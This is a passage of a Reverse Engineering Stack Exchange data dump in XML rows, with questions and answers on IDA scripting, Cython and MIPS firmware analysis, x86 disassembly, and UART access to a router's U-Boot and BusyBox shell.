rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; instead of IDA (it has common, but less polished decompiler for all processors it supports) or find/create decompiler plugin yourself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="60" LastEditDate="2019-12-17T10:59:39.640" LastActivityDate="2019-12-17T10:59:39.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22754" PostTypeId="2" ParentId="22729" CreationDate="2019-12-16T07:25:40.130" Score="2" Body="&lt;p&gt;It's usually easier to distinguish between data and code or detect pointers to code on RISC processor because RISC instruction has a fixed (or very much less variable) length as opposite to CISC.&#xA;It means, for example, that RISC functions addresses are usually aligned to largest instruction size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on comparison of architectures I worked with( Risc: (MIPS, PPC, ARM, aarch64), Cisc: (Intel)) I'd say that CISC itself is more complicated, which makes reversing of programs for it more complicated.  &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2019-12-16T07:25:40.130" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22755" PostTypeId="2" ParentId="22735" CreationDate="2019-12-16T09:05:06.173" Score="1" Body="&lt;p&gt;If the string is used as a mapping to a value by name, something like a map or a dictionary (analogue to JSON, for example), then the value for the name that replaced &quot;RespawnTime&quot; (in your case, the &quot;string&quot; equivalent to NOP instruction times length of &quot;RespawnTime&quot;) will not be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value is not found and no exception is thrown, then I guess it is simply considered null/zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test this theory you can change &quot;RespawnTime&quot; to anything else, not necessarily a NOP.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2019-12-16T09:05:06.173" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22756" PostTypeId="1" CreationDate="2019-12-16T10:59:58.263" Score="1" ViewCount="3629" Body="&lt;p&gt;I am trying to run IDA without GUI. My purpose is to run a specific script that receives arguments via my main program against multiple files, but for some reason, it does not work for me. Sometimes it opens IDA without any reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One command is: &lt;code&gt;'C:\\IDA\\ida.exe -B %s' % file&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second command is: &lt;code&gt;cmd = 'C:\\IDA\\ida.exe -a- -A -S&quot;script.py &quot;%s&quot;&quot; %s' % (file, file)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30408" LastEditorUserId="31278" LastEditDate="2019-12-16T23:17:45.193" LastActivityDate="2020-05-03T14:40:36.763" Title="running IDA python without gui" Tags="|ida|binary-analysis|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22757" PostTypeId="2" ParentId="20559" CreationDate="2019-12-16T11:27:50.173" Score="0" Body="&lt;p&gt;I think &lt;code&gt;fld&lt;/code&gt; instruction is something like you load floating value into FPU registers. Example &lt;code&gt;st0&lt;/code&gt; to &lt;code&gt;st7&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;code&gt;f&lt;/code&gt; means &lt;code&gt;floating&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I store my own value?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you interested, this is just example to load your own value :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;section .data&#xA;value: dq 3.0&#xA;&#xA;section .text&#xA;&#xA;_start:&#xA;&#xA;fld qword [value] ; store 3 into st0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2019-12-16T11:27:50.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22758" PostTypeId="1" CreationDate="2019-12-16T12:07:42.423" Score="3" ViewCount="7306" Body="&lt;p&gt;I have a .so file (ELF 64-bit LSB shared object, x86-64, dynamically linked, no section header) with an embedded Cython program.&#xA;To run the program inside the .so file there is a single python3 program that imports the .so and calls its main method.&#xA;This method just asks for an input and checks it against an internal string, informing the user about the comparison.&#xA;I want to know if it its possible to decompile the .so file in order to obtain the original Python source code using an intermediate uncompyle6 or similar apps  (from .so --&amp;gt; python byte code --&amp;gt; uncompyle6 --&amp;gt; python source code). I have tried some tools (&lt;code&gt;meliae&lt;/code&gt;, &lt;code&gt;uncompyle6&lt;/code&gt;, &lt;code&gt;pyRETic&lt;/code&gt;...) to no avail.&lt;/p&gt;&#xA;&lt;p&gt;If decompiling is not an option, I wonder if a debugging session with Ghidra, radare2 or GDB would help me to reverse engineer the code (the main goal is to obtain the string that this app expects from the user). I tried to launch the main app and attach radare2 to the process (when the app asks for the user input). I found some of the strings that the binary is using for informing about wrong or good inputs and tried to set some hardware breakpoints when accessing those strings, just to know which is the address where the program compares to a right or wrong input. But I haven't been able to grok it.&lt;/p&gt;&#xA;&lt;p&gt;Another attempt has been to set a breakpoint in the &lt;code&gt;PyEval_EvalFrameEx&lt;/code&gt; instruction (trying to obtain the byte-code step-by-step), but I don't know if this is a viable option.&lt;/p&gt;&#xA;&lt;p&gt;Any recommendation about how to reverse engineer this kind of Cython binary shared objects would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="22853" LastEditorUserId="245" LastEditDate="2020-09-05T19:03:03.503" LastActivityDate="2024-01-19T09:59:24.170" Title="How to reverse a Cython shared object (.so)" Tags="|python|shared-object|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22759" PostTypeId="2" ParentId="22756" CreationDate="2019-12-16T13:42:17.070" Score="1" Body="&lt;p&gt;&lt;code&gt;ida.exe -A -S&quot;&amp;lt;path\to\script&amp;gt; &amp;lt;params&amp;gt;&quot; &amp;lt;path\to\file&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-A&lt;/code&gt; - autonomous mode - no dialog boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;idat.exe&lt;/code&gt; instead if &lt;code&gt;ida.exe&lt;/code&gt;, which will not open the GUI of IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can end your script with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idc import *&#xA;idc.exit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will exit the program when the script is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the complete list of command-line switches &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-16T13:42:17.070" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22761" PostTypeId="2" ParentId="22758" CreationDate="2019-12-16T14:57:44.547" Score="1" Body="&lt;p&gt;In general the .so objects that you import from python are basically regular libraries that you can RE with any framework, in fact, a lot of libraries in python use that concept of having the specific libraries on another language that is not python (numpy for example) or any program that needs to execute code on C/C++ for example.&lt;/p&gt;&#xA;" OwnerUserId="25705" LastActivityDate="2019-12-16T14:57:44.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22762" PostTypeId="1" CreationDate="2019-12-16T20:04:09.090" Score="2" ViewCount="70" Body="&lt;p&gt;I'm reverse engineering an embedded system using the 80C188 and the way the relocation register (RELREG) is used mystifies me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first steps at initialization is to move the processor control registers by writing a new value to the RELREG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the RELREG has the value 20FFH which places the register block at the top of I/O space at address 0FFxxH. The example given in the Intel app note describes writing the value of 1100H to the RELREG which then places the register block in memory space at 100xxH. Clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the system I am examining, the value written is 1804H which I would expect to place the register block in memory space at the address 804xxH, yet the following writes to initialize the registers to operating values are all to 0F4xxH in memory space. The processor is operating fine in the system so this is not a programming bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am absolutely sure about these addresses as not only do I see them in the code itself on the EPROM but also in logic analyzer traces of code execution at startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an explanation for this?&lt;/p&gt;&#xA;" OwnerUserId="30496" LastActivityDate="2019-12-16T20:04:09.090" Title="80188 relocation register mystery" Tags="|disassembly|register|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22763" PostTypeId="2" ParentId="3693" CreationDate="2019-12-16T21:07:10.617" Score="1" Body="&lt;p&gt;In Windows 10 you have to do the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Execute (As admin)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;c:\Program Files\IDA 7.0\ida.exe&quot; -I1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Open the registry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should see a REG_SZ with this content: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;c:\Program Files\IDA 7.0\ida.exe&quot; -rwin32+%ld,%ld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy that value and create one identicaly in this other registry path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that is all.&lt;/p&gt;&#xA;" OwnerUserId="30497" LastActivityDate="2019-12-16T21:07:10.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22765" PostTypeId="1" AcceptedAnswerId="22766" CreationDate="2019-12-17T06:38:50.020" Score="2" ViewCount="1742" Body="&lt;p&gt;I'm trying to emulate a MIPS binary on my Ubuntu 16.04 x86 system, but I'm not able to. I &lt;code&gt;chroot&lt;/code&gt; into the &lt;code&gt;squashfs-root&lt;/code&gt; filesystem that I got from &lt;code&gt;binwalk&lt;/code&gt;ing the firmware image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ ls -l&#xA;total 3092&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 bin&#xA;drwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 dev&#xA;drwxr-xr-x 5 kan3k1 kan3k1    4096 Mar 18  2018 etc&#xA;drwxr-xr-x 3 kan3k1 kan3k1    4096 Mar 18  2018 lib&#xA;lrwxrwxrwx 1 kan3k1 kan3k1      11 Mar 18  2018 linuxrc -&amp;gt; bin/busybox&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 mnt&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 proc&#xA;-rwxr-xr-x 1 kan3k1 kan3k1 3120160 Dec 17 01:07 qemu-mips-static&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sbin&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 sys&#xA;drwxr-xr-x 4 kan3k1 kan3k1    4096 Mar 18  2018 usr&#xA;drwxr-xr-x 2 kan3k1 kan3k1    4096 Mar 18  2018 var&#xA;drwxr-xr-x 9 kan3k1 kan3k1    4096 Mar 18  2018 web&#xA;&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/ls&#xA;./bin/ls: Invalid ELF image for this architecture&#xA;&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ sudo chroot . ./qemu-mips-static ./bin/busybox &#xA;./bin/busybox: Invalid ELF image for this architecture&#xA;&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/ls&#xA;bin/ls: symbolic link to busybox&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ file bin/busybox &#xA;bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped&#xA;&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/ls&#xA;arch     mips&#xA;baddr    0x400000&#xA;binsz    260852&#xA;bintype  elf&#xA;bits     32&#xA;canary   false&#xA;class    ELF32&#xA;crypto   false&#xA;endian   little&#xA;havecode true&#xA;intrp    /lib/ld-uClibc.so.0&#xA;laddr    0x0&#xA;lang     c&#xA;linenum  false&#xA;lsyms    false&#xA;machine  MIPS R3000&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       false&#xA;os       linux&#xA;pcalign  0&#xA;pic      false&#xA;relocs   false&#xA;relro    no&#xA;rpath    NONE&#xA;sanitiz  false&#xA;static   false&#xA;stripped true&#xA;subsys   linux&#xA;va       true&#xA;&#xA;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ rabin2 -I ./bin/busybox &#xA;arch     mips&#xA;baddr    0x400000&#xA;binsz    260852&#xA;bintype  elf&#xA;bits     32&#xA;canary   false&#xA;class    ELF32&#xA;crypto   false&#xA;endian   little&#xA;havecode true&#xA;intrp    /lib/ld-uClibc.so.0&#xA;laddr    0x0&#xA;lang     c&#xA;linenum  false&#xA;lsyms    false&#xA;machine  MIPS R3000&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       false&#xA;os       linux&#xA;pcalign  0&#xA;pic      false&#xA;relocs   false&#xA;relro    no&#xA;rpath    NONE&#xA;sanitiz  false&#xA;static   false&#xA;stripped true&#xA;subsys   linux&#xA;va       true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My system info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kan3k1@kaido:~/firmware/_firmware.bin.extracted/squashfs-root$ uname -a&#xA;Linux kaido 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 10:19:08 UTC 2018 i686 i686 i686 GNU/Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to resolve this? All the resources that I was able to find online have something to do with &lt;code&gt;.so&lt;/code&gt; files causing the error.&lt;/p&gt;&#xA;" OwnerUserId="30475" LastActivityDate="2019-12-17T08:09:03.620" Title="`qemu-mips-static` chroot causing `Invalid ELF image` error" Tags="|firmware|linux|mips|qemu|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22766" PostTypeId="2" ParentId="22765" CreationDate="2019-12-17T08:09:03.620" Score="1" Body="&lt;p&gt;It seems your binaries are little-endian, so you neeed qemu-mips&lt;strong&gt;el&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-17T08:09:03.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22767" PostTypeId="1" AcceptedAnswerId="22768" CreationDate="2019-12-17T13:29:14.393" Score="0" ViewCount="98" Body="&lt;p&gt;when trying to decompile some interrupt service routines done with Watcom, the __GETDS call at the beginning of the functions will break the decompiler output completely.&#xA;Here's the disassembly:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UuPFE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UuPFE.png&quot; alt=&quot;Disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here the decompiler output:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oJDoP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJDoP.png&quot; alt=&quot;Decompiler&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the reason for this? Is there a way to fix this? The only thing that worked for me was creating a separate function for the code below __GETDS, but that's not really satisfying.&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="30305" LastActivityDate="2019-12-17T13:51:40.917" Title="IDA Pro: __GETDS breaks decompiler output" Tags="|ida|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22768" PostTypeId="2" ParentId="22767" CreationDate="2019-12-17T13:51:40.917" Score="1" Body="&lt;p&gt;This happens because &lt;code&gt;__GETDS&lt;/code&gt; is placed just after the entrypoint code and is initially detected by IDA as part of the &lt;code&gt;start&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg01:0001AAD1                 push    eax&#xA;cseg01:0001AAD2                 mov     eax, 0&#xA;cseg01:0001AAD7                 mov     edx, 0Fh&#xA;cseg01:0001AADC                 call    __FiniRtns&#xA;cseg01:0001AAE1                 pop     eax&#xA;cseg01:0001AAE2                 mov     ah, 4Ch ; 'L'&#xA;cseg01:0001AAE4                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)&#xA;cseg01:0001AAE4                                         ; AL = exit code&#xA;cseg01:0001AAE6                 mov     eax, eax&#xA;cseg01:0001AAE8&#xA;cseg01:0001AAE8 __GETDS:                                ; CODE XREF: __int23_handler+A↓p&#xA;cseg01:0001AAE8                                         ; __int_ctrl_break_handler+A↓p ...&#xA;cseg01:0001AAE8 __GETDSStart_:&#xA;cseg01:0001AAE8                 mov     ds, cs:word_1AAF1&#xA;cseg01:0001AAF0                 retn&#xA;cseg01:0001AAF0 start           endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the call is to a middle of an existing function, IDA considers it to be non-returning and stops the code flow. The solution is to break &lt;code&gt;start&lt;/code&gt; after the &lt;code&gt;int 21h&lt;/code&gt; call (Set function end, or 'E' key) and create a proper function for &lt;code&gt;__GETDS&lt;/code&gt; itself. Then you will need to reanalyze all call sites (and maybe recreate the functions) so that code flow is properly updated. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-17T13:51:40.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22769" PostTypeId="1" CreationDate="2019-12-17T13:59:17.793" Score="2" ViewCount="197" Body="&lt;p&gt;So I encountered this bit of assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp dword ptr [ECX + 0x24c], DAT_007c6bc0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's comparing &lt;code&gt;ECX + 0x24c&lt;/code&gt; with &lt;code&gt;DAT_007c6bc0&lt;/code&gt;. If they are not equal, it will just return from the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have compared the output of Ghirda and IDA (free) and in IDA it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp dword ptr [ecx + 24Ch], offset unk_7C6BC0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, what exactly is &lt;code&gt;DAT_007c6bc0&lt;/code&gt;? I couldn't really find any information on it, and how does it compare to &lt;code&gt;ECX + 0x24c&lt;/code&gt; since it just checks if the address is the same, right? &lt;/p&gt;&#xA;" OwnerUserId="30504" LastEditorUserId="245" LastEditDate="2019-12-17T22:39:10.230" LastActivityDate="2019-12-17T22:39:10.230" Title="CMP ecx with DAT_" Tags="|assembly|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22770" PostTypeId="2" ParentId="22769" CreationDate="2019-12-17T14:34:40.963" Score="1" Body="&lt;p&gt;In this example, &lt;code&gt;DAT_007c6bc0&lt;/code&gt; (or &lt;code&gt;offset unk_7C6BC0&lt;/code&gt;) is just an address in program's (virtual) address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, comparing it with &lt;code&gt;[ECX + 0x24c]&lt;/code&gt;, is comparing this address with the &lt;em&gt;data located at&lt;/em&gt; &lt;code&gt;ECX + 0x24c&lt;/code&gt; in program's virtual address space, &lt;strong&gt;not&lt;/strong&gt; with &lt;code&gt;ECX + 0x24c&lt;/code&gt;. It's just a pointer comparison (&lt;code&gt;dword ptr&lt;/code&gt; means that we treat these numbers as &lt;code&gt;dwords&lt;/code&gt; - &lt;code&gt;4&lt;/code&gt;bytes each); in pseudo code it could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (*(ECX + 0x24c) != DAT_007c6bc0)&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, if &lt;code&gt;d&lt;/code&gt; is the data located at &lt;code&gt;DAT_007c6bc0&lt;/code&gt; in memory (&lt;code&gt;d = *DAT_007c6bc0&lt;/code&gt;), then the code will check whether data at &lt;code&gt;ECX + 0x24c&lt;/code&gt; is a pointer to &lt;code&gt;d&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-12-17T14:34:40.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22774" PostTypeId="1" CreationDate="2019-12-18T06:52:50.380" Score="4" ViewCount="6773" Body="&lt;p&gt;Anyone reversed ifit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just picked up a discounted NordicTrack Elite 11.0 Elliptical on Ebay, I want to hack it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to extract performance data and it would be great if I could control the elliptical to increase/decrease the intensity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the elliptical has an ifit port, I think this takes an ifit module which adds wifi to the elliptical, I think this might tie me to the ifit subscription app though which is bad, anyone hacked this or know anything about it, maybe the PCB fingers (the module connects to) are just a serial communications port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I can use bluetooth (might just be for heart rate), or even USB (might just be for phone charging), where do I even start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally if I could hack something together without having to buy anything proprietary or be locked into monthly subscriptions then that would be fab, it doesn't need to be fancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW I'm pretty handy with computers and I can solder, I also have access to an oscilloscope, open to suggestions on a logic analyser I could buy, if that will help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks interesting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dawsontoth/zwifit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/dawsontoth/zwifit&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/jamesdotcuff/iFitController&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jamesdotcuff/iFitController&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it looks like some people just remove the head unit and replace it with a SBC like RPi (and display) wired into the sensors, I probably don't want to go that far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could buy the ifit module, they're going for around A$250 on ebay, would that be the best place to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The optimal result is I can get data from the elliptical, into one of these &quot;games&quot; where you can race up the side of a mountain.&lt;/p&gt;&#xA;" OwnerUserId="30512" LastEditorUserId="245" LastEditDate="2019-12-24T20:35:44.943" LastActivityDate="2021-05-03T16:52:05.970" Title="Hacking old gym equipment" Tags="|hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22775" PostTypeId="1" CreationDate="2019-12-18T09:10:43.883" Score="1" ViewCount="443" Body="&lt;p&gt;i am looking to expand my knowledge so i can someday(hopefully within few months) be able to join the reverse engineering community, probably in the anti-virus/defense field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was wondering, since it is not easy to find information regarding those topics: is there a book(preferably modern) or a course that teaches important and vital subjects such as detour and code injections? i am really enthusiastic with this field and i really eager to study as much as possible to improve and be efficient so i could help a lot of people in this important field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, sadly, after many searches, i found it to be extremely hard to locate information on those subjects, let alone modern information. so i'd like to request your help with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: if no book/course available, even resources on the web will be gems to me. &lt;/p&gt;&#xA;" OwnerUserId="30515" LastEditorUserId="245" LastEditDate="2019-12-18T11:35:27.143" LastActivityDate="2020-06-16T18:05:25.377" Title="learning detour and code injection" Tags="|function-hooking|dll-injection|injection|api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22776" PostTypeId="1" CreationDate="2019-12-18T09:14:20.667" Score="2" ViewCount="1260" Body="&lt;p&gt;I am trying to get access to the BusyBox Shell and if possible to get a firmware dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;U-Boot&quot; has limited possibilities but what is good is &quot;sf - SPI flash sub-system&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me get access to the shell? Or a dump of the whole firmware without SOIC8 clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a UART interface on the hardware:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Starting kernel ...&#xA;&#xA;Linux version 2.6.30.9 (root@grant-virtual-machine) (gcc version 4.4.6 (Realtek RSDK-1.5.6p2) ) #141 Mon Jun 17 11:13:56 CST 2019 [luna SDK 1.0.51]&#xA;RTL9602C PLL&#xA;CPU revision is: 0000dc02&#xA;Determined physical RAM map:&#xA; memory: 02eff000 @ 00000000 (usable)&#xA; memory: 00eff000 @ 03000000 (usable)&#xA;II: Kernel command line modified: mtdparts=rtk_spi_nor_mtd -&amp;gt;   mtdparts=physmap-flash&#xA;Zone PFN ranges:&#xA;  Normal   0x00000000 -&amp;gt; 0x00003eff&#xA;Movable zone start PFN for each node&#xA;early_node_map[2] active PFN ranges&#xA;    0: 0x00000000 -&amp;gt; 0x00002eff&#xA;    0: 0x00003000 -&amp;gt; 0x00003eff&#xA;Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 15744&#xA;Kernel command line: console=ttyS0,115200   mtdparts=physmap-flash:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5&#xA;root_dev_setup line 180 root: 31:5&#xA;icache: 64kB/32B, dcache: 32kB/32B, scache: 0kB/0B&#xA;NR_IRQS:128&#xA;PID hash table entries: 256 (order: 8, 1024 bytes)&#xA;console [ttyS0] enabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;U-Boot 2011.12.M (Sep 29 2017 - 16:08:09)&#xA;&#xA;SPI-F: EF4018/MMIO16-1 1x16 MB (plr_flash_info @ 83c23714)&#xA;Loading 8192B env. variables from offset 0x40000&#xA;Loading 8192B env. variables from offset 0x42000&#xA;*** Warning - bad CRC, using default environment&#xA;&#xA;Loaded 8192B env. variables from offset 0x40000&#xA;mtdparts0=mtdparts=rtk_spi_nor_mtd:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5&#xA;Net:   LUNA GMAC&#xA;Warning: eth device name has a space!&#xA;&#xA;Hit any key to stop autoboot:  0&#xA;## Booting kernel from Legacy Image at 94200000 ...&#xA;   Image Name:   Linux Kernel Image&#xA;   Created:      2019-06-17   3:16:33 UTC&#xA;   Image Type:   MIPS Linux Kernel Image (lzma compressed)&#xA;   Data Size:    2528816 Bytes = 2.4 MB&#xA;   Load Address: 80000000&#xA;   Entry Point:  80000000&#xA;   Verifying Checksum ... OK&#xA;   Uncompressing Kernel Image ... OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#printenv&#xA;baudrate=115200&#xA;bootargs_base=console=ttyS0,115200&#xA;bootcmd=setenv bootargs ${bootargs_base} ${mtdparts0};bootm ${img0_kernel}&#xA;bootdelay=5&#xA;erase_cfgfs=sf erase ${fl_cfgfs} +${fl_cfgfs_sz}&#xA;erase_env=sf erase ${fl_env} +${fl_env_sz};sf erase ${fl_env2} +${fl_env_sz}&#xA;ethact=LUNA GMAC&#xA;&#xA;fl_boot_sz=40000&#xA;fl_cfgfs=44000&#xA;fl_cfgfs_sz=1bc000&#xA;fl_env=40000&#xA;fl_env2=42000&#xA;fl_env_sz=2000&#xA;fl_kernel1=200000&#xA;fl_kernel1_sz=400000&#xA;fl_rootfs1=600000&#xA;fl_rootfs1_sz=a00000&#xA;fx1000_init=mw bb000084 00000048&#xA;img0_kernel=94200000&#xA;ipaddr=192.168.1.3&#xA;mtdparts0=mtdparts=rtk_spi_nor_mtd:256K(boot),8K(env),8K(env2),1776K(config),4M(k0),10M(r0) root=31:5&#xA;netmask=255.255.255.0&#xA;serverip=192.168.1.7&#xA;sgmii_init=mw bb000084 00000044&#xA;stderr=serial&#xA;stdin=serial&#xA;stdout=serial&#xA;upb=tftp 80000000 plr.img; crc32 ${fileaddr} ${filesize}; sf erase 0 +${fl_boot_sz}; sf write ${fileaddr} 0 ${filesize}&#xA;upk=tftp 80000000 uImage; crc32 ${fileaddr} ${filesize}; sf erase ${fl_kernel1} +${fl_kernel1_sz}; sf write 